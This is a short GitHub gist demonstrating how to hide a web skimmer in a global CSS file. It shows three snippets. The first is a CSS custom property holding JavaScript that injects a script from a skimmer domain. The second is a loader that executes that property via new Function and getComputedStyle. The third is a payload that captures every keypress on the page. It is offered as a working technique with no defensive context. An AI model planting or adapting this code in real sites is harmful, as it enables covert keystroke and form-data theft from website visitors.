Skip to content

Instantly share code, notes, and snippets.

@takahirohonda
Last active December 23, 2020 01:36
Show Gist options
  • Save takahirohonda/650e21930e988717b2af0506240e6a48 to your computer and use it in GitHub Desktop.
Save takahirohonda/650e21930e988717b2af0506240e6a48 to your computer and use it in GitHub Desktop.
web-skimmer-in-css

Global Css file with Css variable to pull a skimmer.

:root {
  --script: setTimeout(function()
    {
      var head=document.getElementById('test');
      var script = document.createElement('script');
      script.src="https://my.skimmer.com/js/web-skimmer/test2.js";
      head.appendChild(script);
    }, 2000);
}

This code can be embedded in another JavaScript. It executes the script in the CSS variable to the page.

<script type="text/javascript">
  new Function(
  getComputedStyle(document.documentElement)
  ?.getPropertyValue('--script')
  )();
</script>

Inside the source file, we can go nuts! web-skimmer/test2.js

window.addEventListener('DOMContentLoaded', () => {
  console.log('Skimmer in CSS executed');
  document.documentElement.addEventListener('keydown',function(e){
    console.log('Logging key from svg!');
    console.log(e.keyCode);
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment